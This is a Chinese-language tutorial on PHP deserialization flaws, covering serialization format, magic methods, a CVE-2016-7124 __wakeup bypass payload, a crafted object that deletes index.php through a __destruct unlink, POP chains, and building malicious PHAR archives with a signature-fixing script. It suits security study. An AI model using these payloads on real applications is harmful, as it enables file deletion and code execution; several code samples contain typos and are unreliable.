在 Web 安全的语境下,反序列化漏洞的本质是 “越权的数据控制了代码的执行流” 。

开发者原本的意图只是单纯地保存和恢复一个对象的数据(属性),但由于 PHP 引擎在销毁对象或处理特定上下文时会自动调用一系列“魔术方法”,攻击者就可以通过精心构造序列化字符串中的属性值,人为地制造出一条方法调用的链条。这个链条就是 POP(Property-Oriented Programming)链。

构造 POP 链,实际上就是一个“找积木”和“搭桥”的过程。我们需要找到一个必定会执行的入口(起点),一个包含高危函数的出口(终点),以及连接它们的无数个跳板。

1 序列化与反序列化

在php中,序列化与反序列化的函数分别是serialize和unserialize

  • 序列化 (serialize):将复杂的数据结构(如对象、数组)转化为便于存储或传输的连续字符串格式。
  • 反序列化 (unserialize):将上述字符串还原为原始的PHP变量或对象

1.1 类与对象

1.1.1 类的结构

class Class_name{
  //成员变量声明
  //成员函数声明
}

1.1.2 类的内容

class hero{
  var $name;
  var $sex;
  function jineng($var1){
    echo $this->name;
    echo $var1; 
    echo "程咬金释放了技能".$var1;
  }
}

1.1.3 实例化

$cyj = new hexo();
$cyj->name="程咬金";
$cyj->sex="男";

$cyj->jineng('跳跳');

1.1.4 类的修饰符介绍

PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。

public(公有):公有的类成员可以在任何地方被访问。
protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。
private(私有):私有的类成员则只能被其定义所在的类访问。

注意:不同修饰符序列化后的值不一样

访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所示:

public:属性被序列化的时候属性值会变成属性名
protected:属性被序列化的时候属性值会变成\x00*\x00属性名
private:属性被序列化的时候属性值会变成\x00类名\x00属性名

其中:\x00表示空字符,但是还是占用一个字符位置

1.1.4.1 实例

class hero{
  pubilc $name='chengyaojin';
  private $sex='man';
  protected Sshengao='165';
  function jineng($var1){
    echo $this->name;
    echo $var1;
  }
}

class hero2 extends hexo{
  fuction test(){
  echo $this->name;
  echo $this->sex;
  echo $this->shengao;
  }
}

$cyj=new hero();
$cyj2=new hero2();
echo $cyj->name;
echo $cyj2->test(); 

1.2 序列化基础知识

1.2.1 作用

将对象的状态信息转换为可以存储或传输的形式的过程

1.2.2 表达格式

实例化数据:

O:1:"S":1:{s:4:"test";s:7:"pikachu";}

O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度 
pikachu:变量值

所有格式:

  • 空字符null→N;
  • 整形666→i:666;
  • 浮点型66.6→d:66.6;
  • 布尔型true→b:1;/false→b:0;
  • 字符串型 'benben'→s:6:"benben";
  • 私有属性 在变量名两边加上%00

1.3 反序列化基础知识

1.3.1 特性

  1. 反序列化之后内容为一个对象
  2. 反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关
  3. 反序列化不触发类的成员方法;需要调用方法后才能触发

2 魔术方法

方法名描述
__construct()类的构造函数
__destruct()类的析构函数
__call(arguments)当调用一个未定义或不可达方法时, __call () 方法将被调用。
__callStatic(arguments)当调用一个未定义或不可达的静态方法时, __callStatic () 方法将被调用
__get($propertyName)当获取一个类的成员变量时, __get () 方法将被调用。
__set(value)当赋值一个类的成员变量时, __set () 方法将被调用。
__isset($content)当调用 isset () 或 empty () 对一个未定义或不可达的成员赋值时, __isset () 方法将被调用。
__unset($content)当调用 reset () 对一个未定义或不可达的成员更新时, __unset () 方法将被调用。
__sleep()当执行序列化 serialize () 时,__sleep () 方法将首先被调用。
__wakeup()当执行反序列化 deserialization () 时, __wakeup () 方法将首先被调用。
__toString()当使用 echo 方法直接输出显示对象时,__toString () 方法首先被调用。
__invoke()使用调用函数(function)访问一个对象时, __invoke () 方法将首先被调用
__set_state($an_array)当调用 var_export () 方法时,__set_state () 方法将被调用。
__clone()当对象被复制赋值时,__clone () 方法将被调用。
__autoload($className)试图载入一个未定义的类时调用。
__debugInfo()输出 debug 信息。
从序列化到反序列化这几个函数的执行过程是: __construct() →__sleep() → __wakeup() → __toString() → __destruct()

2.1 方法简介

2.1.1 __construst()

构建函数,在实例化一个对象的时候,会首先自动执行该方法

<?php
class User{
  public $username;
  public function __construct($username) {
    $this->username=$username;
    echo “触发了构造函数1次”
  }
}
 
$test=new User("benben");
$ser=serizalize($test);
unserialize($ser)
?>

2.1.2 析构函数

触发时机:在程序结束或显示销毁对象时触发destruct()

显示销毁:通过显式地将对象引用设置为 null 来间接触发对象的销毁

<?php
class test{
    public function __destruct(){
        echo '析构函数执行';
    }
}
$test0 =new test();
$test1 = new test();
$test0 = null;
echo "\n程序继续\n";
# 运行结果:
# 析构函数执行
# 程序继续
# 析构函数执行

2.1.3 __toString()方法

触发时机:尝试echo打印对象时触发,返回一个字符串

<?php
class test{
    public function __toString(){
        return 'toString方法触发';
    }
}
$test = new test();
echo $test;
# 运行结果:
# toString方法触发

2.1.4 __invoke()方法

__invoke(): 把test对象当成函数test()来调用,此时触发invoke()

<?php
class test{
    public function __invoke(){
        echo 'invoke方法触发';
    }
}
$test = new test();
$test();
# 运行结果:
# invoke方法触发

2.1.5 __call方法

触发时机:调用类不存在的方法

		<?php
class test{
    public function __call($name,$arguments){
        echo "$name 方法不存在 带着你的参数有夺远爬多远";
        echo "\n";
        print_r($arguments);
    }
}
$test = new test();
$test -> hello('world');
# 运行结果:
# hello 方法不存在 带着你的参数有夺远爬多远
# Array
# (
#     [0] => world
# )

2.1.6 __sleep()方法

触发时机:在调用 serialize() 函数序列化对象之前被调用

<?php
class test{
    public function __sleep(){
        echo "sleeeep触发\n";
    }
}
$test = new test();
echo "序列化结果".serialize($test);
# 运行结果
# sleeeep触发
# 序列化结果  N;

2.1.7 __wakeup()方法

CVE-2016-7124,当成员属性大于实际存在的属性个数时,会绕过wakeup方法
版本:5-5.6.25 7-7.0.10
例如:payload: O:4:“test”:2:{s:3:“var”;s:1:“2”;}

已知存在多种对于其他版本的wakeup绕过姿势,自行查阅

触发时机:调用unserialize()反序列化函数时反序列化之后调用

示例中,先反序列化把hello给$evil,再调用wakeup,打印hello

<?php
class test{
    public $evil;
    public function __wakeup(){
        echo $this->evil;
    }
}
$test = new test();
$test->evil = 'hello';
unserialize(serialize($test));
# 运行结果:
# hello

2.1.8 3.1.8 __get($argu)方法

触发时机:对象调用不存在的成员属性

<?php
class test{
    public function __get($argu){
        echo "$argu 不存在,整点别的?";
    }
}
$test =new test();
echo $test-> hello;
# 运行结果:
# hello 不存在,整点别的?

2.1.9 __set($param,$value)方法

触发时机:在给不存在或没有访问权限的属性赋值时触发

搭配get方法,使用一个数组储存键值对

<?php
class test{
    public $data=[];
    public function __set($param,$value){
        $this->data[$param] = $value;
    }
    public function __get($param){
        return $this->data[$param];
    }
}
$test =new test();
$test->hello = 'world';
echo $test->hello;
# 运行结果:
# world

2.1.10 __isset()方法

触发时机:对属性使用 isset() 或 empty() 时,__isset() 会被调用。用于检测属性是否被设置。

<?php
class test{
    public $var1=11;
}
$test =new test();
var_dump(isset($test->var1));
var_dump(isset($test->var2));
# 运行结果:
# bool(true)
# bool(false)

2.2 利用手法

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。当传给unserialize()的参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件将会被删除:

//logdata.php
<?php
class logfile
{
    //log文件名
    public $filename = 'error.log';
    //一些用于储存日志的代码
    public function logdata($text)
    {
        echo 'log data:'.$text.'<br />';
        file_put_contents($this->filename,$text,FILE_APPEND);
    }
    //destrcuctor 删除日志文件
    public function __destruct()
    {
        echo '__destruct deletes '.$this->filename.'file.<br />';
        unlink(dirname(__FILE__).'/'.$this->filename);
    }
}
?>
 

调用这个类:

<?php
include 'logdata.php'
class User
{
    //类数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
    }
}
//重建数据
$usr = unserialize($_GET['usr_serialized']);
?>

代码$usr = unserialize($_GET['usr_serialized']);中的$_GET[‘usr_serialized’]是可控的,那么可以构造输入,删除任意文件。

如构造输入删除目录下的index.php文件:

<?php
include 'logdata.php';
$object = new logfile();
$object->filename = 'index.php';
echo serialize($object).'<br />';
?>

unserialize漏洞依赖条件:

  1. unserialize函数的参数可控
  2. 脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向PHP文件中写数据的操作类
  3. 所写的内容需要有对象中的成员变量的值

3 POP链构造

3.1 成员属性赋值对象

使用反推查看攻击方法,反序列化的字符串由我们自己决定,由此构造pop链

魔术方法触发前提:魔术方法所在类或对象被调用

4 session反序列化利用

5 PHAR反序列化

Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

5.1 文件结构

1、Stub			//Phar文件头
2、manifest	//压缩文件信息
3、contents	//压缩文件内容
4、signature	//签名

5.1.1 Stub

Stub是Phar的文件标识,也可以理解为它就是Phar的文件头 。这个Stub其实就是一个简单的PHP文件,它的格式具有一定的要求,具体如下:

xxx<?php xxx; __HALT_COMPILER();?>

前面的内容是不限制的,但在该PHP语句中,必须有__HALT_COMPILER(),没有这个,PHP就无法识别出它是Phar文件。

5.1.2 manifest

用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data

5.1.3 contents

用于存放Phar文件的内容

5.1.4 signature

签名(可选参数),位于文件末尾

签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密

当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名,更换签名的脚本

from hashlib import sha1
with open('test.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
    file.write(newf) # 写入新文件

5.2 使用方式

Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作。

利用条件

  • phar文件能够上传至服务器
  • 有可利用的魔术方法
  • 文件操作函数可控。且/、phar、:等等数字符没有被过滤
  • php.ihi中的phar.readonly,需要为off

Phar属于伪协议,伪协议使用较多的是一些文件操作函数,如fopen()、copy()、file_exists()等,具体如下图,也就是下面的函数如果参数可控可以造成Phar反序列化

image.png

<?php 
class test{
    public $name="qwq";
    function __destruct()
    {
        echo $this->name;
    }
}
$a = new test();
$a->name="phpinfo();";
$phartest=new phar('phartest.phar',0);//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($a);//自定义的meta-data存入manifest
$phartest->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phartest->addFromString("test.txt","test");//添加要压缩的文件
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>